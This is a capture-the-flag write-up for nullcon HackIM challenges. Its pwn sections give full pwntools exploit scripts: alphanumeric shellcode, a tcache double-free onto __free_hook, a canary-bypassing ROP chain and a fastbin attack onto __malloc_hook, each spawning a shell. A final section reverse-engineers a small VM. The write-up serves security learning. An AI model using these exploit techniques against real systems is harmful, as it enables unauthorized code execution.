## easy-shell
The logic is simple, a `RWX` page is allocated from `mmap`, and we can execute arbitrary codes but contents must be `alphanum`. I used this [tool](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder). However, the only problem is that this generator requires `rax` to be near the `shellcode` and `rax + padding_len == shellcode address`, but `rax` is `0` when our `shellcode` is executed. Thus, we can add `push r12; pop rax` in front of our payload and let `padding_len == 3`, which is the length of `push r12; pop rax`.
```pythonfrom pwn import *context(arch='amd64')
file_name = "flag".ljust(8, '\x00')
sc = '''mov rax,%spush raxmov rdi,rspmov rax,2mov rsi,0syscall
mov rdi,raxsub rsp,0x20mov rsi,rspmov rdx,0x20mov rax,0syscall
mov rdi,0mov rsi,rspmov rdx,0x20mov rax,1syscall
''' % hex(u64(file_name))sc = asm(sc)print asm("push r12;pop rax;") + alphanum_encoder(sc, 3)```
Actually, by the way, `peasy-shell` can be done in the same way: just add more `push xxx; pop xxx;` to fill first page, and fill the second page with real payload being generated, which is `RWX`.
## HackIM Shop
A typical UAF and double free challenge. Firstly leak the address in `got` table to leak `libc` and find its version in `libc-database`, which is `2.27`, the same one in `Ubuntu 18.04 LTS`. This can be done by UAF and control the `pointer` field in the `struct`.
Then, since it is `2.27`, the `tcache` is used instead, so we can use `double free` to poison the `tcache` and `malloc` the chunk onto `__free_hook`, then rewrite it to `system` to get the shell.
`exp.py`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("./libc6_2.27.so")if g_local:	sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'}	ONE_GADGET_OFF = 0x4526a	UNSORTED_OFF = 0x3c4b78	gdb.attach(sh)else:	ONE_GADGET_OFF = 0x4526a	UNSORTED_OFF = 0x3c4b78	sh = remote("pwn.ctf.nullcon.net", 4002)	#ONE_GADGET_OFF = 0x4557a
def add(name, name_len, price=0):	sh.sendline("1")	sh.recvuntil("name length: ")	sh.sendline(str(name_len))	sh.recvuntil("name: ")	sh.sendline(name)	sh.recvuntil("price: ")	sh.sendline(str(price))	sh.recvuntil("> ")
def remove(idx):	sh.sendline("2")	sh.recvuntil("index: ")	sh.sendline(str(idx))	sh.recvuntil("> ")
def view():	sh.sendline("3")	ret = sh.recvuntil("{")	ret += sh.recvuntil("[")	ret += sh.recvuntil("]")	ret += sh.recvuntil("}")	sh.recvuntil("> ")	return ret
add("0", 0x38)add("1", 0x68)add("2", 0x68)remove(0)remove(1)#0x40 1 -> 0 -> 0 data
fake_struct = p64(0)fake_struct += p64(p.got["puts"])fake_struct += p64(0) + p8(0)
add(fake_struct, 0x38) #3leak = view()libc_addr = u64(leak[0x2e:0x2e+6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
add("4", 0x68)
#now bins are clear
add("5", 0x68)add("/bin/sh\x00", 0x68) #6add("/bin/sh\x00", 0x38)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)
remove(5)remove(5)remove(7) #prevent 0x40 from being used up
add(p64(libc_addr + e.symbols["__free_hook"]), 0x68)
add("consume", 0x68)
gots = ["system"]
fake_got = ""for g in gots:	fake_got += p64(libc_addr + e.symbols[g])add(fake_got, 0x68)
sh.sendline("2")
sh.recvuntil("index: ")sh.sendline(str(6))sh.interactive()```
## babypwn
This challenge *seems* to be a format once string vulnerability, but there is nothing exploitable. The only address we have without leak is the program address `0x400000`, but there is nothing writable(neither `got table` nor `_fini_array`). The only possible write are `stdin` and `stdout`, but they will not be used before the program exits so it is useless to hijack their virtual tables.
Then I found another exploitable vulnerability
```cif ( (char)uint8 > 20 ){  perror("Coins that many are not supported :/\r\n");  exit(1);}for ( i = 0; i < uint8; ++i ){  v6 = &v10[4 * i];  _isoc99_scanf((__int64)"%d", (__int64)v6);}```
The check regard variable `uint8` as an `signed char` but it will be used as `unsigned char` later, so the value `> 0x7f` will pass the check and cause the stack overflow.
However, there is canary so we need to bypass this, but we cannot leak it since vulnerable `printf` is after this stack overflow. The key thing is there is no check against the return value of `scanf`, so we can let `scanf` to have some error so that `&v10[4 * i]` will not be rewritten and canary will remain unchanged. Then after we jump over the canary we can rewrite the return address and construct ROP chain. But how to make it have error? Initially I tried `"a"(any letter)`, but this fails, because even if the `scanf` returns with error in this iteration, it will also return directly with error later on without receiving any input so we cannot rewrite return address. It seems that the reason is that `"a"` does not comply the format `"%d"` so it will never be consumed by this `scanf("%d")`. So can we input something that satisfy format `"%d"` but still cause the error? I then came up with `"-"`, because `"%d"` allows negative number so the negative sign should be fine, but a single negative sign does not make any sense as a number so it will cause error. Then it works!
Finally the things became easy, just regard this as a normal stack overflow challenge, and I did not use that format string vulnerability
By the way, the `libc` version can be found by using format string vulnerability to leak address in `got` table, and search it in the `libc-database`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0x4526aif g_local:	sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'}	gdb.attach(sh)else:	sh = remote("pwn.ctf.nullcon.net", 4001)
POP_RDI = p64(0x400a43)def exploit_main(rop):	sh.recvuntil("tressure box?\r\n")	sh.sendline('y')	sh.recvuntil("name: ")	sh.sendline("2019")	sh.recvuntil("do you have?\r\n")	sh.sendline("128")
	for i in xrange(0,22):		sh.sendline(str(i))	for i in xrange(2):		sh.sendline('-') #bypass canary		sleep(1)	for i in xrange(0,len(rop),4):		sh.sendline(str(u32(rop[i:i+4])))	for i in xrange(0,128-22-2-len(rop)/4):		sh.sendline("0")	sh.recvuntil("created!\r\n")
rop = ""rop += p64(0)rop += POP_RDIrop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += p64(0x400806) #back to main
exploit_main(rop)
libc_addr = u64(sh.recvuntil('\x7f') + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
exploit_main(p64(0) + p64(libc_addr + ONE_GADGET_OFF))
sh.interactive()```
## tudutudututu
The program can create a `todo`, set the `description`, delete and print. 
The `todo` structure is as shown below
```assembly00000000 todo            struc ; (sizeof=0x10, align=0x8, mappedto_6)00000000 topic           dq ?                    ; offset00000008 description     dq ?                    ; offset00000010 todo            ends```
The problem is, when creating the `todo` structure, the `description` field is not initialized. This can create UAF and arbitrary read.
Firstly since there is no PIE, we use arbitrary read to leak the address in `got` table, here we can also find the `libc` version, which is `2.23`.
Then, because `topic` is freed before `description`, the `description` is on the top of `topic` in the fast bin if they have same size. In this way if we allocate `todo` again, the UAF caused by no initialization of `description` field can give us heap address.
Then control the `description` field to point to a already freed `0x70` chunk, then set the description to cause double free, which poisons the fast bin and enable the fast bin attack. We can use `0x7f` trick to `malloc` a chunk onto `__malloc_hook`, and hijack the `rip` to `one_gadget`. Since buffer on the stack used to get input is quite large and we can easily set them to `0`, the condition of `one_gadget` can be easily satisfied.
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0xf1147if g_local:	sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'}	gdb.attach(sh)else:	sh = remote("pwn.ctf.nullcon.net", 4003)
sh.recvuntil("> ")
def create(topic):	sh.sendline("1")	sh.recvuntil("topic: ")	sh.sendline(topic)	sh.recvuntil("> ")
def set_data(topic, data, data_len):	sh.sendline("2")	sh.recvuntil("topic: ")	sh.sendline(topic)	sh.recvuntil("length: ")	sh.sendline(str(data_len))	sh.recvuntil("Desc: ")	sh.sendline(data)	sh.recvuntil("> ")
def delete(topic):	sh.sendline("3")	sh.recvuntil("topic: ")	sh.sendline(topic)	sh.recvuntil("> ")
def show(topic):	sh.sendline("4")	sh.recvuntil(topic + " - ")	ret = sh.recvuntil('\n')	sh.recvuntil("> ")	return ret[:-1]payload = 'A' * 8 + p64(p.got["puts"])create(payload)delete(payload)#now 0x20 * 2
unitialzed_todo = "unitialized data".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)libc_addr = u64(show(unitialzed_todo)[:6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
#bins empty
leak_todo = "leak".ljust(0x60, '_')create(leak_todo)set_data(leak_todo, 'A', 0x60)delete(leak_todo)create("leak")
heap_addr = u64(show("leak").ljust(8, '\x00')) - 0x10f0print hex(heap_addr)
#now 0x70 *2
for i in xrange(3):	create("tmp".ljust(0x60, str(i)))for i in [1,0,2]:	delete("tmp".ljust(0x60, str(i)))
#now 0x20 * 3 + 0x70 * 3
payload = 'A' * 8 + p64(heap_addr + 0x1170)
create(payload)delete(payload)
unitialzed_todo = "unitialized data 2".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)
set_data(unitialzed_todo, 'A', 0x10)# now 0x70 are poisoned and all others are empty
for i in xrange(4):	create("getshell" + str(i))
set_data("getshell0", p64(libc_addr + e.symbols["__malloc_hook"] - 0x23), 0x60)set_data("getshell1", 'a', 0x60)set_data("getshell2", 'b', 0x60)set_data("getshell3".ljust(0x100, '\x00'), '\x00' * 0x13 + p64(libc_addr + ONE_GADGET_OFF), 0x60)
sh.sendline("1")sh.recvuntil("topic: ")sh.sendline("123")
sh.interactive()```
## rev3al
### Initialization of VM
This is a VM reverse challenge, which is a bit complicated but not very hard; it is solvable if enough time was spent.
```ctext = (unsigned int *)mmap(0LL, 0xA00uLL, 3, 34, 0, 0LL);if ( text != (unsigned int *)-1LL ){  mem = (unsigned __int8 *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL);  if ( mem != (unsigned __int8 *)-1LL )  {    jmp_tab = (unsigned int *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL);    if ( text != (unsigned int *)-1LL )    {//...```
Initially, 3 pages are allocated by `mmap`.
Then input is obtained by `cin`
```cinput.ptr = input.data;input.size = 0LL;input.data[0] = 0;std::operator<<<std::char_traits<char>>(&std::cout, "Go for it:\n");std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);if ( input.size - 1 > 0xD )             // <= 0xe == 14  exit(1);```
While the definition of `std::string` in `x86-64 Linux` is
```assembly00000000 std::string     struc ; (sizeof=0x20, align=0x8, mappedto_10)00000000 ptr             dq ?                    ; XREF: main+BC/w00000008 size            dq ?                    ; XREF: main+C0/w00000010 data            db 16 dup(?)            ; XREF: main+B8/o00000020 std::string     ends```
Since the length here is not longer than 16 bytes (<= 14), the last 16 bytes are always `char array` instead of pointer to heap.
Then `mem` and `jmp_tab` are initialized to 0 in weird but fast way, which are not important. Then input is copied to `mem+200`, and virtual registers of the VM is initialized to 0. (I actually found them to be registers later when I was analyzing the VM)
```cqmemcpy(mem + 200, input.ptr, 14uLL);   // input size == 14i = 5;do{  a2a = 0;  vector::push_back(&regs, &a2a);  --i;}while ( i );```
The `regs` are `std::vector`, and each element is `uint8_t`. I found it to be `std::vector` and the function to be `push_back` by debugging and guessing. (It is quite unreasonable to reverse the STL lib function)
The definition of `std::vector<uint8_t>` is as shown
```assembly00000000 std::vector     struc ; (sizeof=0x18, mappedto_11)00000000 ptr             dq ?                    ; XREF: main:loc_1EF3/r00000008 end             dq ?                    ; XREF: main+277/w ; offset00000010 real_end        dq ?                    ; offset00000018 std::vector     ends```
Then it is the codes to initialize and run the VM.
```cregs.ptr[3] = 0;tmp.ptr = tmp.data;std::string::assign(&tmp, chal1.ptr, &chal1.ptr[chal1.size]);vm_init(&tmp);if ( tmp.ptr != tmp.data )  operator delete(tmp.ptr);vm_run();```
`tmp` is also `std::string`, and `std::string::assign` assign the value of `chal1` to `tmp`. Where is `chal1` defined? By using cross reference in IDA, we found that it is initialized in function `0x2042`, which is declared in `_init_array` and will be called before `main` function. Except some basic C++ initialization stuff, it also assign `"chal.o.1"` to `chal1` and assign `"chal.o.2"` to `chal2`, which are obviously the file names of files being provided.
Back to the `main` function. In function `vm_init`, it simply loads the file into `text` memory page. There are many C++ stuff in this function and they are hard to read, but luckily they are not important so we do not need to focus on them.
```c++std::istream::read(&v5, (char *)text, v2);    // critical step```
The logic that cause the correct information to be outputted is easy: after running first VM `mem[1]` must be true, and after running second VM `mem[2]` must be true. Even if it can also be the case that `mem[2]` becomes true and `mem[1]` remains 0 after the first VM, this is not very possible I guess, otherwise the file `"chal.o.2"` will be useless.
### VM Analysis
The `vm_run` function is as shown
```cvoid __cdecl vm_run(){  unsigned int *t; // rbx  unsigned int j; // ecx  unsigned int i; // eax
  t = text;  j = 0;  i = 0;  do  {    if ( (HIWORD(text[i]) & 0xF) == 0xC )       // high word of each instruction      jmp_tab[j++] = i;                         // record the index of instruction to jmp tab    ++i;  }  while ( i <= 0x3F && j <= 0x3F );  bContiue = 1;  do    one_instr(t[regs.ptr[3]]);  while ( bContiue );}
void __fastcall one_instr(unsigned int instr){  unsigned int high_word; // eax  unsigned __int8 dst; // dl  unsigned int src; // edi  unsigned __int8 *v4; // rdx  unsigned __int8 v5; // al  unsigned __int8 v6; // cl  unsigned __int8 *v7; // rax
  high_word = (instr >> 0x10) & 0xF;  dst = instr & 3;  src = (instr >> 2) & 3;  if ( dst == 3 )    dst = 2;  if ( (_BYTE)src == 3 )    LOBYTE(src) = 2;  switch ( (_BYTE)high_word )  {    case 0:      bContiue = 0;      break;    case 1:      if ( regs.ptr[4] )        regs.ptr[dst] = mem[regs.ptr[(unsigned __int8)src]] + mem[regs.ptr[dst]];      else        regs.ptr[dst] += regs.ptr[(unsigned __int8)src];      ++regs.ptr[3];      break;    case 2:      if ( regs.ptr[4] )        regs.ptr[dst] = mem[regs.ptr[dst]] - mem[regs.ptr[(unsigned __int8)src]];      else        regs.ptr[dst] -= regs.ptr[(unsigned __int8)src];      ++regs.ptr[3];      break;    case 3:      if ( regs.ptr[4] )        regs.ptr[dst] = mem[regs.ptr[dst]] * mem[regs.ptr[(unsigned __int8)src]];      else        regs.ptr[dst] *= regs.ptr[(unsigned __int8)src];      ++regs.ptr[3];      break;    case 4:      if ( regs.ptr[4] )      {        v4 = &regs.ptr[dst];        v5 = mem[*v4] / mem[regs.ptr[(unsigned __int8)src]];      }      else      {        v4 = &regs.ptr[dst];        v5 = *v4 / regs.ptr[(unsigned __int8)src];      }      *v4 = v5;      ++regs.ptr[3];      break;    case 5:      if ( regs.ptr[4] )        v6 = mem[regs.ptr[(unsigned __int8)src]];      else        v6 = regs.ptr[(unsigned __int8)src];      regs.ptr[dst] = v6;      ++regs.ptr[3];      break;    case 6:      if ( regs.ptr[4] )        mem[regs.ptr[dst]] = mem[regs.ptr[(unsigned __int8)src]];      else        mem[regs.ptr[dst]] = regs.ptr[(unsigned __int8)src];      ++regs.ptr[3];      break;    case 7:      regs.ptr[3] = regs.ptr[dst];      break;    case 8:      regs.ptr[4] = (regs.ptr[4] ^ 1) & 1;      ++regs.ptr[3];      break;    case 9:      if ( regs.ptr[dst] )      {        ++regs.ptr[3];      }      else if ( regs.ptr[4] )      {        regs.ptr[3] += regs.ptr[(unsigned __int8)src];      }      else      {        regs.ptr[3] = regs.ptr[(unsigned __int8)src];      }      break;    case 10:      regs.ptr[dst] = src;      ++regs.ptr[3];      break;    case 11:      if ( regs.ptr[4] )      {        v7 = &mem[regs.ptr[dst]];        ++*v7;      }      else      {        ++regs.ptr[dst];      }      ++regs.ptr[3];      break;    case 12:      ++regs.ptr[3];      break;    default:      std::operator<<<std::char_traits<char>>(&std::cerr, "Invalid instruction!\n");      exit(1);      return;  }}```
Each instruction is 4-bytes; there are 4 registers that can be directly accessed by the VM program; the opcode is 4 bits; `r4` controls a "mode", and some instructions will perform differently when the `r4` is different.
Then it takes some time to write a [disassembler](disasm.py), and after then we can disassemble these 2 files to further analyze.
### VM Program Analysis
After generating the assembly codes of this VM, we found that it would use some operations to produce a specific constant, because the only possible immediate numbers in this instruction set are `0-3`. It will produce `200` at the beginning, which is the address of our input, and then store it at address `0` for further usage. After analyzing a few characters of the input, I found the pattern that it will load the input character into register, minus it by a particular number, and compare it with zero. The program will stop if the result is not zero. My approach is to translate the assembly into Python, and set the inputs to zero. When comparing the input with zero, we output the negation of the character, which is the correct input. Here is the translated [script](1.py).
Note: we need to change all these things:
1. `switch` instruction, which is useless2. all arithmetic operation must have a `%0x100` after it3. all memory read/write to array accessing4. all conditional jumps to print negation of the condition
```accessing 200waccessing 0accessing 2041accessing 0accessing 213taccessing 0accessing 201haccessing 0accessing 207Daccessing 0accessing 203Naccessing 0accessing 210kaccessing 0accessing 205Taccessing 0accessing 211----------86`accessing 1256accessing 0accessing 206saccessing 0accessing 212uaccessing 0accessing 2023accessing 0accessing 2084```
Then just inspect the output and reconstruct the flag.
But, except character at `[11]`, is `[11] * 2 - 86 == 10`. Since it multiplies the character by 2, the previous method does not work, so we must solve this manually, which is `'0'`. This actually takes me some time.
So the final flag is `wh3N1TsD4?k0ut`, while the `?` seems to be any character.